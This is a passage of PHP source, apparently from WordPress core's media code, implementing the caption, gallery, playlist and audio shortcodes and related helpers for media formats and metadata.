		$atts['caption_id'] = 'caption-' . str_replace( '_', '-', $atts['id'] );
	}

	if ( $atts['caption_id'] ) {
		$caption_id  = 'id="' . esc_attr( $atts['caption_id'] ) . '" ';
		$describedby = 'aria-describedby="' . esc_attr( $atts['caption_id'] ) . '" ';
	}

	$class = trim( 'wp-caption ' . $atts['align'] . ' ' . $atts['class'] );

	$html5 = current_theme_supports( 'html5', 'caption' );
	// HTML5 captions never added the extra 10px to the image width.
	$width = $html5 ? $atts['width'] : ( 10 + $atts['width'] );

	/**
	 * Filters the width of an image's caption.
	 *
	 * By default, the caption is 10 pixels greater than the width of the image,
	 * to prevent post content from running up against a floated image.
	 *
	 * @since 3.7.0
	 *
	 * @see img_caption_shortcode()
	 *
	 * @param int    $width    Width of the caption in pixels. To remove this inline style,
	 *                         return zero.
	 * @param array  $atts     Attributes of the caption shortcode.
	 * @param string $content  The image element, possibly wrapped in a hyperlink.
	 */
	$caption_width = apply_filters( 'img_caption_shortcode_width', $width, $atts, $content );

	$style = '';

	if ( $caption_width ) {
		$style = 'style="width: ' . (int) $caption_width . 'px" ';
	}

	if ( $html5 ) {
		$html = sprintf(
			'<figure %s%s%sclass="%s">%s%s</figure>',
			$id,
			$describedby,
			$style,
			esc_attr( $class ),
			do_shortcode( $content ),
			sprintf(
				'<figcaption %sclass="wp-caption-text">%s</figcaption>',
				$caption_id,
				$atts['caption']
			)
		);
	} else {
		$html = sprintf(
			'<div %s%sclass="%s">%s%s</div>',
			$id,
			$style,
			esc_attr( $class ),
			str_replace( '<img ', '<img ' . $describedby, do_shortcode( $content ) ),
			sprintf(
				'<p %sclass="wp-caption-text">%s</p>',
				$caption_id,
				$atts['caption']
			)
		);
	}

	return $html;
}

add_shortcode( 'gallery', 'gallery_shortcode' );

/**
 * Builds the Gallery shortcode output.
 *
 * This implements the functionality of the Gallery Shortcode for displaying
 * WordPress images on a post.
 *
 * @since 2.5.0
 * @since 2.8.0 Added the `$attr` parameter to set the shortcode output. New attributes included
 *              such as `size`, `itemtag`, `icontag`, `captiontag`, and columns. Changed markup from
 *              `div` tags to `dl`, `dt` and `dd` tags. Support more than one gallery on the
 *              same page.
 * @since 2.9.0 Added support for `include` and `exclude` to shortcode.
 * @since 3.5.0 Use get_post() instead of global `$post`. Handle mapping of `ids` to `include`
 *              and `orderby`.
 * @since 3.6.0 Added validation for tags used in gallery shortcode. Add orientation information to items.
 * @since 3.7.0 Introduced the `link` attribute.
 * @since 3.9.0 `html5` gallery support, accepting 'itemtag', 'icontag', and 'captiontag' attributes.
 * @since 4.0.0 Removed use of `extract()`.
 * @since 4.1.0 Added attribute to `wp_get_attachment_link()` to output `aria-describedby`.
 * @since 4.2.0 Passed the shortcode instance ID to `post_gallery` and `post_playlist` filters.
 * @since 4.6.0 Standardized filter docs to match documentation standards for PHP.
 * @since 5.1.0 Code cleanup for WPCS 1.0.0 coding standards.
 * @since 5.3.0 Saved progress of intermediate image creation after upload.
 * @since 5.5.0 Ensured that galleries can be output as a list of links in feeds.
 * @since 5.6.0 Replaced order-style PHP type conversion functions with typecasts. Fix logic for
 *              an array of image dimensions.
 *
 * @param array $attr {
 *     Attributes of the gallery shortcode.
 *
 *     @type string       $order      Order of the images in the gallery. Default 'ASC'. Accepts 'ASC', 'DESC'.
 *     @type string       $orderby    The field to use when ordering the images. Default 'menu_order ID'.
 *                                    Accepts any valid SQL ORDERBY statement.
 *     @type int          $id         Post ID.
 *     @type string       $itemtag    HTML tag to use for each image in the gallery.
 *                                    Default 'dl', or 'figure' when the theme registers HTML5 gallery support.
 *     @type string       $icontag    HTML tag to use for each image's icon.
 *                                    Default 'dt', or 'div' when the theme registers HTML5 gallery support.
 *     @type string       $captiontag HTML tag to use for each image's caption.
 *                                    Default 'dd', or 'figcaption' when the theme registers HTML5 gallery support.
 *     @type int          $columns    Number of columns of images to display. Default 3.
 *     @type string|int[] $size       Size of the images to display. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default 'thumbnail'.
 *     @type string       $ids        A comma-separated list of IDs of attachments to display. Default empty.
 *     @type string       $include    A comma-separated list of IDs of attachments to include. Default empty.
 *     @type string       $exclude    A comma-separated list of IDs of attachments to exclude. Default empty.
 *     @type string       $link       What to link each image to. Default empty (links to the attachment page).
 *                                    Accepts 'file', 'none'.
 * }
 * @return string HTML content to display gallery.
 */
function gallery_shortcode( $attr ) {
	$post = get_post();

	static $instance = 0;
	++$instance;

	if ( ! empty( $attr['ids'] ) ) {
		// 'ids' is explicitly ordered, unless you specify otherwise.
		if ( empty( $attr['orderby'] ) ) {
			$attr['orderby'] = 'post__in';
		}
		$attr['include'] = $attr['ids'];
	}

	/**
	 * Filters the default gallery shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating
	 * the default gallery template.
	 *
	 * @since 2.5.0
	 * @since 4.2.0 The `$instance` parameter was added.
	 *
	 * @see gallery_shortcode()
	 *
	 * @param string $output   The gallery output. Default empty.
	 * @param array  $attr     Attributes of the gallery shortcode.
	 * @param int    $instance Unique numeric ID of this gallery shortcode instance.
	 */
	$output = apply_filters( 'post_gallery', '', $attr, $instance );

	if ( ! empty( $output ) ) {
		return $output;
	}

	$html5 = current_theme_supports( 'html5', 'gallery' );
	$atts  = shortcode_atts(
		array(
			'order'      => 'ASC',
			'orderby'    => 'menu_order ID',
			'id'         => $post ? $post->ID : 0,
			'itemtag'    => $html5 ? 'figure' : 'dl',
			'icontag'    => $html5 ? 'div' : 'dt',
			'captiontag' => $html5 ? 'figcaption' : 'dd',
			'columns'    => 3,
			'size'       => 'thumbnail',
			'include'    => '',
			'exclude'    => '',
			'link'       => '',
		),
		$attr,
		'gallery'
	);

	$id = (int) $atts['id'];

	if ( ! empty( $atts['include'] ) ) {
		$_attachments = get_posts(
			array(
				'include'        => $atts['include'],
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => $atts['order'],
				'orderby'        => $atts['orderby'],
			)
		);

		$attachments = array();
		foreach ( $_attachments as $key => $val ) {
			$attachments[ $val->ID ] = $_attachments[ $key ];
		}
	} elseif ( ! empty( $atts['exclude'] ) ) {
		$post_parent_id = $id;
		$attachments    = get_children(
			array(
				'post_parent'    => $id,
				'exclude'        => $atts['exclude'],
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => $atts['order'],
				'orderby'        => $atts['orderby'],
			)
		);
	} else {
		$post_parent_id = $id;
		$attachments    = get_children(
			array(
				'post_parent'    => $id,
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => $atts['order'],
				'orderby'        => $atts['orderby'],
			)
		);
	}

	if ( ! empty( $post_parent_id ) ) {
		$post_parent = get_post( $post_parent_id );

		// Terminate the shortcode execution if the user cannot read the post or it is password-protected.
		if ( ! is_post_publicly_viewable( $post_parent->ID ) && ! current_user_can( 'read_post', $post_parent->ID )
			|| post_password_required( $post_parent )
		) {
			return '';
		}
	}

	if ( empty( $attachments ) ) {
		return '';
	}

	if ( is_feed() ) {
		$output = "\n";
		foreach ( $attachments as $att_id => $attachment ) {
			if ( ! empty( $atts['link'] ) ) {
				if ( 'none' === $atts['link'] ) {
					$output .= wp_get_attachment_image( $att_id, $atts['size'], false, $attr );
				} else {
					$output .= wp_get_attachment_link( $att_id, $atts['size'], false );
				}
			} else {
				$output .= wp_get_attachment_link( $att_id, $atts['size'], true );
			}
			$output .= "\n";
		}
		return $output;
	}

	$itemtag    = tag_escape( $atts['itemtag'] );
	$captiontag = tag_escape( $atts['captiontag'] );
	$icontag    = tag_escape( $atts['icontag'] );
	$valid_tags = wp_kses_allowed_html( 'post' );
	if ( ! isset( $valid_tags[ $itemtag ] ) ) {
		$itemtag = 'dl';
	}
	if ( ! isset( $valid_tags[ $captiontag ] ) ) {
		$captiontag = 'dd';
	}
	if ( ! isset( $valid_tags[ $icontag ] ) ) {
		$icontag = 'dt';
	}

	$columns   = (int) $atts['columns'];
	$itemwidth = $columns > 0 ? floor( 100 / $columns ) : 100;
	$float     = is_rtl() ? 'right' : 'left';

	$selector = "gallery-{$instance}";

	$gallery_style = '';

	/**
	 * Filters whether to print default gallery styles.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $print Whether to print default gallery styles.
	 *                    Defaults to false if the theme supports HTML5 galleries.
	 *                    Otherwise, defaults to true.
	 */
	if ( apply_filters( 'use_default_gallery_style', ! $html5 ) ) {
		$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';

		$gallery_style = "
		<style{$type_attr}>
			#{$selector} {
				margin: auto;
			}
			#{$selector} .gallery-item {
				float: {$float};
				margin-top: 10px;
				text-align: center;
				width: {$itemwidth}%;
			}
			#{$selector} img {
				border: 2px solid #cfcfcf;
			}
			#{$selector} .gallery-caption {
				margin-left: 0;
			}
			/* see gallery_shortcode() in wp-includes/media.php */
		</style>\n\t\t";
	}

	$size_class  = sanitize_html_class( is_array( $atts['size'] ) ? implode( 'x', $atts['size'] ) : $atts['size'] );
	$gallery_div = "<div id='$selector' class='gallery galleryid-{$id} gallery-columns-{$columns} gallery-size-{$size_class}'>";

	/**
	 * Filters the default gallery shortcode CSS styles.
	 *
	 * @since 2.5.0
	 *
	 * @param string $gallery_style Default CSS styles and opening HTML div container
	 *                              for the gallery shortcode output.
	 */
	$output = apply_filters( 'gallery_style', $gallery_style . $gallery_div );

	$i = 0;

	foreach ( $attachments as $id => $attachment ) {

		$attr = ( trim( $attachment->post_excerpt ) ) ? array( 'aria-describedby' => "$selector-$id" ) : '';

		if ( ! empty( $atts['link'] ) && 'file' === $atts['link'] ) {
			$image_output = wp_get_attachment_link( $id, $atts['size'], false, false, false, $attr );
		} elseif ( ! empty( $atts['link'] ) && 'none' === $atts['link'] ) {
			$image_output = wp_get_attachment_image( $id, $atts['size'], false, $attr );
		} else {
			$image_output = wp_get_attachment_link( $id, $atts['size'], true, false, false, $attr );
		}

		$image_meta = wp_get_attachment_metadata( $id );

		$orientation = '';

		if ( isset( $image_meta['height'], $image_meta['width'] ) ) {
			$orientation = ( $image_meta['height'] > $image_meta['width'] ) ? 'portrait' : 'landscape';
		}

		$output .= "<{$itemtag} class='gallery-item'>";
		$output .= "
			<{$icontag} class='gallery-icon {$orientation}'>
				$image_output
			</{$icontag}>";

		if ( $captiontag && trim( $attachment->post_excerpt ) ) {
			$output .= "
				<{$captiontag} class='wp-caption-text gallery-caption' id='$selector-$id'>
				" . wptexturize( $attachment->post_excerpt ) . "
				</{$captiontag}>";
		}

		$output .= "</{$itemtag}>";

		if ( ! $html5 && $columns > 0 && 0 === ++$i % $columns ) {
			$output .= '<br style="clear: both" />';
		}
	}

	if ( ! $html5 && $columns > 0 && 0 !== $i % $columns ) {
		$output .= "
			<br style='clear: both' />";
	}

	$output .= "
		</div>\n";

	return $output;
}

/**
 * Outputs the templates used by playlists.
 *
 * @since 3.9.0
 */
function wp_underscore_playlist_templates() {
	?>
<script type="text/html" id="tmpl-wp-playlist-current-item">
	<# if ( data.thumb && data.thumb.src ) { #>
		<img src="{{ data.thumb.src }}" alt="" />
	<# } #>
	<div class="wp-playlist-caption">
		<span class="wp-playlist-item-meta wp-playlist-item-title">
			<# if ( data.meta.album || data.meta.artist ) { #>
				<?php
				/* translators: %s: Playlist item title. */
				printf( _x( '&#8220;%s&#8221;', 'playlist item title' ), '{{ data.title }}' );
				?>
			<# } else { #>
				{{ data.title }}
			<# } #>
		</span>
		<# if ( data.meta.album ) { #><span class="wp-playlist-item-meta wp-playlist-item-album">{{ data.meta.album }}</span><# } #>
		<# if ( data.meta.artist ) { #><span class="wp-playlist-item-meta wp-playlist-item-artist">{{ data.meta.artist }}</span><# } #>
	</div>
</script>
<script type="text/html" id="tmpl-wp-playlist-item">
	<div class="wp-playlist-item">
		<a class="wp-playlist-caption" href="{{ data.src }}">
			{{ data.index ? ( data.index + '. ' ) : '' }}
			<# if ( data.caption ) { #>
				{{ data.caption }}
			<# } else { #>
				<# if ( data.artists && data.meta.artist ) { #>
					<span class="wp-playlist-item-title">
						<?php
						/* translators: %s: Playlist item title. */
						printf( _x( '&#8220;%s&#8221;', 'playlist item title' ), '{{{ data.title }}}' );
						?>
					</span>
					<span class="wp-playlist-item-artist"> &mdash; {{ data.meta.artist }}</span>
				<# } else { #>
					<span class="wp-playlist-item-title">{{{ data.title }}}</span>
				<# } #>
			<# } #>
		</a>
		<# if ( data.meta.length_formatted ) { #>
		<div class="wp-playlist-item-length">{{ data.meta.length_formatted }}</div>
		<# } #>
	</div>
</script>
	<?php
}

/**
 * Outputs and enqueues default scripts and styles for playlists.
 *
 * @since 3.9.0
 *
 * @param string $type Type of playlist. Accepts 'audio' or 'video'.
 */
function wp_playlist_scripts( $type ) {
	wp_enqueue_style( 'wp-mediaelement' );
	wp_enqueue_script( 'wp-playlist' );
	add_action( 'wp_footer', 'wp_underscore_playlist_templates', 0 );
	add_action( 'admin_footer', 'wp_underscore_playlist_templates', 0 );
}

/**
 * Builds the Playlist shortcode output.
 *
 * This implements the functionality of the playlist shortcode for displaying
 * a collection of WordPress audio or video files in a post.
 *
 * @since 3.9.0
 *
 * @global int $content_width
 *
 * @param array $attr {
 *     Array of default playlist attributes.
 *
 *     @type string  $type         Type of playlist to display. Accepts 'audio' or 'video'. Default 'audio'.
 *     @type string  $order        Designates ascending or descending order of items in the playlist.
 *                                 Accepts 'ASC', 'DESC'. Default 'ASC'.
 *     @type string  $orderby      Any column, or columns, to sort the playlist. If $ids are
 *                                 passed, this defaults to the order of the $ids array ('post__in').
 *                                 Otherwise default is 'menu_order ID'.
 *     @type int     $id           If an explicit $ids array is not present, this parameter
 *                                 will determine which attachments are used for the playlist.
 *                                 Default is the current post ID.
 *     @type array   $ids          Create a playlist out of these explicit attachment IDs. If empty,
 *                                 a playlist will be created from all $type attachments of $id.
 *                                 Default empty.
 *     @type array   $exclude      List of specific attachment IDs to exclude from the playlist. Default empty.
 *     @type string  $style        Playlist style to use. Accepts 'light' or 'dark'. Default 'light'.
 *     @type bool    $tracklist    Whether to show or hide the playlist. Default true.
 *     @type bool    $tracknumbers Whether to show or hide the numbers next to entries in the playlist. Default true.
 *     @type bool    $images       Show or hide the video or audio thumbnail (Featured Image/post
 *                                 thumbnail). Default true.
 *     @type bool    $artists      Whether to show or hide artist name in the playlist. Default true.
 * }
 *
 * @return string Playlist output. Empty string if the passed type is unsupported.
 */
function wp_playlist_shortcode( $attr ) {
	global $content_width;
	$post = get_post();

	static $instance = 0;
	++$instance;

	static $is_loaded = false;

	if ( ! empty( $attr['ids'] ) ) {
		// 'ids' is explicitly ordered, unless you specify otherwise.
		if ( empty( $attr['orderby'] ) ) {
			$attr['orderby'] = 'post__in';
		}
		$attr['include'] = $attr['ids'];
	}

	/**
	 * Filters the playlist output.
	 *
	 * Returning a non-empty value from the filter will short-circuit generation
	 * of the default playlist output, returning the passed value instead.
	 *
	 * @since 3.9.0
	 * @since 4.2.0 The `$instance` parameter was added.
	 *
	 * @param string $output   Playlist output. Default empty.
	 * @param array  $attr     An array of shortcode attributes.
	 * @param int    $instance Unique numeric ID of this playlist shortcode instance.
	 */
	$output = apply_filters( 'post_playlist', '', $attr, $instance );

	if ( ! empty( $output ) ) {
		return $output;
	}

	$atts = shortcode_atts(
		array(
			'type'         => 'audio',
			'order'        => 'ASC',
			'orderby'      => 'menu_order ID',
			'id'           => $post ? $post->ID : 0,
			'include'      => '',
			'exclude'      => '',
			'style'        => 'light',
			'tracklist'    => true,
			'tracknumbers' => true,
			'images'       => true,
			'artists'      => true,
		),
		$attr,
		'playlist'
	);

	$id = (int) $atts['id'];

	if ( 'audio' !== $atts['type'] ) {
		$atts['type'] = 'video';
	}

	$args = array(
		'post_status'    => 'inherit',
		'post_type'      => 'attachment',
		'post_mime_type' => $atts['type'],
		'order'          => $atts['order'],
		'orderby'        => $atts['orderby'],
	);

	if ( ! empty( $atts['include'] ) ) {
		$args['include'] = $atts['include'];
		$_attachments    = get_posts( $args );

		$attachments = array();
		foreach ( $_attachments as $key => $val ) {
			$attachments[ $val->ID ] = $_attachments[ $key ];
		}
	} elseif ( ! empty( $atts['exclude'] ) ) {
		$args['post_parent'] = $id;
		$args['exclude']     = $atts['exclude'];
		$attachments         = get_children( $args );
	} else {
		$args['post_parent'] = $id;
		$attachments         = get_children( $args );
	}

	if ( ! empty( $args['post_parent'] ) ) {
		$post_parent = get_post( $id );

		// Terminate the shortcode execution if the user cannot read the post or it is password-protected.
		if ( ! current_user_can( 'read_post', $post_parent->ID ) || post_password_required( $post_parent ) ) {
			return '';
		}
	}

	if ( empty( $attachments ) ) {
		return '';
	}

	if ( is_feed() ) {
		$output = "\n";
		foreach ( $attachments as $att_id => $attachment ) {
			$output .= wp_get_attachment_link( $att_id ) . "\n";
		}
		return $output;
	}

	$outer = 22; // Default padding and border of wrapper.

	$default_width  = 640;
	$default_height = 360;

	$theme_width  = empty( $content_width ) ? $default_width : ( $content_width - $outer );
	$theme_height = empty( $content_width ) ? $default_height : round( ( $default_height * $theme_width ) / $default_width );

	$data = array(
		'type'         => $atts['type'],
		// Don't pass strings to JSON, will be truthy in JS.
		'tracklist'    => wp_validate_boolean( $atts['tracklist'] ),
		'tracknumbers' => wp_validate_boolean( $atts['tracknumbers'] ),
		'images'       => wp_validate_boolean( $atts['images'] ),
		'artists'      => wp_validate_boolean( $atts['artists'] ),
	);

	$tracks = array();
	foreach ( $attachments as $attachment ) {
		$url   = wp_get_attachment_url( $attachment->ID );
		$ftype = wp_check_filetype( $url, wp_get_mime_types() );
		$track = array(
			'src'         => $url,
			'type'        => $ftype['type'],
			'title'       => $attachment->post_title,
			'caption'     => $attachment->post_excerpt,
			'description' => $attachment->post_content,
		);

		$track['meta'] = array();
		$meta          = wp_get_attachment_metadata( $attachment->ID );
		if ( ! empty( $meta ) ) {

			foreach ( wp_get_attachment_id3_keys( $attachment ) as $key => $label ) {
				if ( ! empty( $meta[ $key ] ) ) {
					$track['meta'][ $key ] = $meta[ $key ];
				}
			}

			if ( 'video' === $atts['type'] ) {
				if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
					$width        = $meta['width'];
					$height       = $meta['height'];
					$theme_height = round( ( $height * $theme_width ) / $width );
				} else {
					$width  = $default_width;
					$height = $default_height;
				}

				$track['dimensions'] = array(
					'original' => compact( 'width', 'height' ),
					'resized'  => array(
						'width'  => $theme_width,
						'height' => $theme_height,
					),
				);
			}
		}

		if ( $atts['images'] ) {
			$thumb_id = get_post_thumbnail_id( $attachment->ID );
			if ( ! empty( $thumb_id ) ) {
				list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'full' );
				$track['image']               = compact( 'src', 'width', 'height' );
				list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'thumbnail' );
				$track['thumb']               = compact( 'src', 'width', 'height' );
			} else {
				$src            = wp_mime_type_icon( $attachment->ID, '.svg' );
				$width          = 48;
				$height         = 64;
				$track['image'] = compact( 'src', 'width', 'height' );
				$track['thumb'] = compact( 'src', 'width', 'height' );
			}
		}

		$tracks[] = $track;
	}
	$data['tracks'] = $tracks;

	$safe_type  = esc_attr( $atts['type'] );
	$safe_style = esc_attr( $atts['style'] );

	ob_start();

	if ( ! $is_loaded ) {
		/**
		 * Prints and enqueues playlist scripts, styles, and JavaScript templates.
		 *
		 * @since 3.9.0
		 *
		 * @param string $type  Type of playlist. Possible values are 'audio' or 'video'.
		 * @param string $style The 'theme' for the playlist. Core provides 'light' and 'dark'.
		 */
		do_action( 'wp_playlist_scripts', $atts['type'], $atts['style'] );
		$is_loaded = true;
	}
	?>
<div class="wp-playlist wp-<?php echo $safe_type; ?>-playlist wp-playlist-<?php echo $safe_style; ?>">
	<?php if ( 'audio' === $atts['type'] ) : ?>
		<div class="wp-playlist-current-item"></div>
	<?php endif; ?>
	<<?php echo $safe_type; ?> controls="controls" preload="none" width="<?php echo (int) $theme_width; ?>"
		<?php
		if ( 'video' === $safe_type ) {
			echo ' height="', (int) $theme_height, '"';
		}
		?>
	></<?php echo $safe_type; ?>>
	<div class="wp-playlist-next"></div>
	<div class="wp-playlist-prev"></div>
	<noscript>
	<ol>
		<?php
		foreach ( $attachments as $att_id => $attachment ) {
			printf( '<li>%s</li>', wp_get_attachment_link( $att_id ) );
		}
		?>
	</ol>
	</noscript>
	<script type="application/json" class="wp-playlist-script"><?php echo wp_json_encode( $data, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ); ?></script>
</div>
	<?php
	return ob_get_clean();
}
add_shortcode( 'playlist', 'wp_playlist_shortcode' );

/**
 * Provides a No-JS Flash fallback as a last resort for audio / video.
 *
 * @since 3.6.0
 *
 * @param string $url The media element URL.
 * @return string Fallback HTML.
 */
function wp_mediaelement_fallback( $url ) {
	/**
	 * Filters the MediaElement fallback output for no-JS.
	 *
	 * @since 3.6.0
	 *
	 * @param string $output Fallback output for no-JS.
	 * @param string $url    Media file URL.
	 */
	return apply_filters( 'wp_mediaelement_fallback', sprintf( '<a href="%1$s">%1$s</a>', esc_url( $url ) ), $url );
}

/**
 * Returns a filtered list of supported audio formats.
 *
 * @since 3.6.0
 *
 * @return string[] Supported audio formats.
 */
function wp_get_audio_extensions() {
	/**
	 * Filters the list of supported audio formats.
	 *
	 * @since 3.6.0
	 *
	 * @param string[] $extensions An array of supported audio formats. Defaults are
	 *                            'mp3', 'ogg', 'flac', 'm4a', 'wav'.
	 */
	return apply_filters( 'wp_audio_extensions', array( 'mp3', 'ogg', 'flac', 'm4a', 'wav' ) );
}

/**
 * Returns useful keys to use to lookup data from an attachment's stored metadata.
 *
 * @since 3.9.0
 *
 * @param WP_Post $attachment The current attachment, provided for context.
 * @param string  $context    Optional. The context. Accepts 'edit', 'display'. Default 'display'.
 * @return string[] Key/value pairs of field keys to labels.
 */
function wp_get_attachment_id3_keys( $attachment, $context = 'display' ) {
	$fields = array(
		'artist' => __( 'Artist' ),
		'album'  => __( 'Album' ),
	);

	if ( 'display' === $context ) {
		$fields['genre']            = __( 'Genre' );
		$fields['year']             = __( 'Year' );
		$fields['length_formatted'] = _x( 'Length', 'video or audio' );
	} elseif ( 'js' === $context ) {
		$fields['bitrate']      = __( 'Bitrate' );
		$fields['bitrate_mode'] = __( 'Bitrate Mode' );
	}

	/**
	 * Filters the editable list of keys to look up data from an attachment's metadata.
	 *
	 * @since 3.9.0
	 *
	 * @param array   $fields     Key/value pairs of field keys to labels.
	 * @param WP_Post $attachment Attachment object.
	 * @param string  $context    The context. Accepts 'edit', 'display'. Default 'display'.
	 */
	return apply_filters( 'wp_get_attachment_id3_keys', $fields, $attachment, $context );
}
/**
 * Builds the Audio shortcode output.
 *
 * This implements the functionality of the Audio Shortcode for displaying
 * WordPress mp3s in a post.
 *
 * @since 3.6.0
 * @since 6.8.0 Added the 'muted' attribute.
 *
 * @param array  $attr {
 *     Attributes of the audio shortcode.
 *
 *     @type string $src      URL to the source of the audio file. Default empty.
 *     @type string $loop     The 'loop' attribute for the `<audio>` element. Default empty.
 *     @type string $autoplay The 'autoplay' attribute for the `<audio>` element. Default empty.
 *     @type string $muted    The 'muted' attribute for the `<audio>` element. Default 'false'.
 *     @type string $preload  The 'preload' attribute for the `<audio>` element. Default 'none'.
 *     @type string $class    The 'class' attribute for the `<audio>` element. Default 'wp-audio-shortcode'.
 *     @type string $style    The 'style' attribute for the `<audio>` element. Default 'width: 100%;'.
 * }
 * @param string $content Shortcode content.
 * @return string|void HTML content to display audio.
 */
function wp_audio_shortcode( $attr, $content = '' ) {
	$post_id = get_post() ? get_the_ID() : 0;

	static $instance = 0;
	++$instance;

	/**
	 * Filters the default audio shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating the default audio template.
	 *
	 * @since 3.6.0
	 *
	 * @param string $html     Empty variable to be replaced with shortcode markup.
	 * @param array  $attr     Attributes of the shortcode. See {@see wp_audio_shortcode()}.
	 * @param string $content  Shortcode content.
	 * @param int    $instance Unique numeric ID of this audio shortcode instance.
	 */
	$override = apply_filters( 'wp_audio_shortcode_override', '', $attr, $content, $instance );

	if ( '' !== $override ) {
		return $override;
	}

	$audio = null;

	$default_types = wp_get_audio_extensions();
	$defaults_atts = array(
		'src'      => '',
		'loop'     => '',
		'autoplay' => '',
		'muted'    => 'false',
		'preload'  => 'none',
		'class'    => 'wp-audio-shortcode',
		'style'    => 'width: 100%;',
	);
	foreach ( $default_types as $type ) {
		$defaults_atts[ $type ] = '';
	}

	$atts = shortcode_atts( $defaults_atts, $attr, 'audio' );

	$primary = false;
	if ( ! empty( $atts['src'] ) ) {
		$type = wp_check_filetype( $atts['src'], wp_get_mime_types() );

		if ( ! in_array( strtolower( $type['ext'] ), $default_types, true ) ) {
			return sprintf( '<a class="wp-embedded-audio" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) );
		}

		$primary = true;
		array_unshift( $default_types, 'src' );
	} else {
		foreach ( $default_types as $ext ) {
			if ( ! empty( $atts[ $ext ] ) ) {
				$type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() );

				if ( strtolower( $type['ext'] ) === $ext ) {
					$primary = true;
				}
			}
		}
	}

	if ( ! $primary ) {
		$audios = get_attached_media( 'audio', $post_id );

		if ( empty( $audios ) ) {
			return;
		}

		$audio       = reset( $audios );
		$atts['src'] = wp_get_attachment_url( $audio->ID );

		if ( empty( $atts['src'] ) ) {
			return;
		}

		array_unshift( $default_types, 'src' );
	}

	/**
	 * Filters the media library used for the audio shortcode.
	 *
	 * @since 3.6.0
	 *
	 * @param string $library Media library used for the audio shortcode.
	 */
	$library = apply_filters( 'wp_audio_shortcode_library', 'mediaelement' );

	if ( 'mediaelement' === $library && did_action( 'init' ) ) {
		wp_enqueue_style( 'wp-mediaelement' );
		wp_enqueue_script( 'wp-mediaelement' );
	}

	/**
	 * Filters the class attribute for the audio shortcode output container.
	 *
	 * @since 3.6.0
	 * @since 4.9.0 The `$atts` parameter was added.
	 *
	 * @param string $class CSS class or list of space-separated classes.
	 * @param array  $atts  Array of audio shortcode attributes.
	 */
	$atts['class'] = apply_filters( 'wp_audio_shortcode_class', $atts['class'], $atts );

	$html_atts = array(
		'class'    => $atts['class'],
		'id'       => sprintf( 'audio-%d-%d', $post_id, $instance ),
		'loop'     => wp_validate_boolean( $atts['loop'] ),
		'autoplay' => wp_validate_boolean( $atts['autoplay'] ),
		'muted'    => wp_validate_boolean( $atts['muted'] ),
		'preload'  => $atts['preload'],
		'style'    => $atts['style'],
	);

	// These ones should just be omitted altogether if they are blank.
	foreach ( array( 'loop', 'autoplay', 'preload', 'muted' ) as $a ) {
		if ( empty( $html_atts[ $a ] ) ) {
			unset( $html_atts[ $a ] );
		}
	}

	$attr_strings = array();

	foreach ( $html_atts as $attribute_name => $attribute_value ) {
		if ( in_array( $attribute_name, array( 'loop', 'autoplay', 'muted' ), true ) && true === $attribute_value ) {
			// Add boolean attributes without a value.
			$attr_strings[] = esc_attr( $attribute_name );
		} elseif ( 'preload' === $attribute_name && ! empty( $attribute_value ) ) {
			// Handle the preload attribute with specific allowed values.
			$allowed_preload_values = array( 'none', 'metadata', 'auto' );
			if ( in_array( $attribute_value, $allowed_preload_values, true ) ) {
				$attr_strings[] = sprintf( '%s="%s"', esc_attr( $attribute_name ), esc_attr( $attribute_value ) );
			}
		} else {
			// For other attributes, include the value.
			$attr_strings[] = sprintf( '%s="%s"', esc_attr( $attribute_name ), esc_attr( $attribute_value ) );
		}
	}

	$html    = sprintf( '<audio %s controls="controls">', implode( ' ', $attr_strings ) );
	$fileurl = '';
	$source  = '<source type="%s" src="%s" />';

	foreach ( $default_types as $fallback ) {
		if ( ! empty( $atts[ $fallback ] ) ) {
			if ( empty( $fileurl ) ) {
				$fileurl = $atts[ $fallback ];
			}

			$type  = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() );
			$url   = add_query_arg( '_', $instance, $atts[ $fallback ] );
			$html .= sprintf( $source, $type['type'], esc_url( $url ) );
		}
	}

	if ( 'mediaelement' === $library ) {
		$html .= wp_mediaelement_fallback( $fileurl );
	}

	$html .= '</audio>';

	/**
	 * Filters the audio shortcode output.
	 *
	 * @since 3.6.0
	 *
	 * @param string $html    Audio shortcode HTML output.
	 * @param array  $atts    Array of audio shortcode attributes.
	 * @param string $audio   Audio file.
	 * @param int    $post_id Post ID.
	 * @param string $library Media library used for the audio shortcode.
	 */
	return apply_filters( 'wp_audio_shortcode', $html, $atts, $audio, $post_id, $library );
}
add_shortcode( 'audio', 'wp_audio_shortcode' );

/**
 * Returns a filtered list of supported video formats.
 *
 * @since 3.6.0
 *
 * @return string[] List of supported video formats.
 */
function wp_get_video_extensions() {
	/**
	 * Filters the list of supported video formats.
	 *
	 * @since 3.6.0
	 *
	 * @param string[] $extensions An array of supported video formats. Defaults are
	 *                             'mp4', 'm4v', 'webm', 'ogv', 'flv'.
	 */
	return apply_filters( 'wp_video_extensions', array( 'mp4', 'm4v', 'webm', 'ogv', 'flv' ) );
}

/**
 * Builds the Video shortcode output.
 *
 * This implements the functionality of the Video Shortcode for displaying
 * WordPress mp4s in a post.
 *
 * @since 3.6.0
 *
 * @global int $content_width
 *
 * @param array  $attr {
 *     Attributes of the shortcode.
 *
 *     @type string $src      URL to the source of the video file. Default empty.
 *     @type int    $height   Height of the video embed in pixels. Default 360.
 *     @type int    $width    Width of the video embed in pixels. Default $content_width or 640.
 *     @type string $poster   The 'poster' attribute for the `<video>` element. Default empty.
 *     @type string $loop     The 'loop' attribute for the `<video>` element. Default empty.
 *     @type string $autoplay The 'autoplay' attribute for the `<video>` element. Default empty.
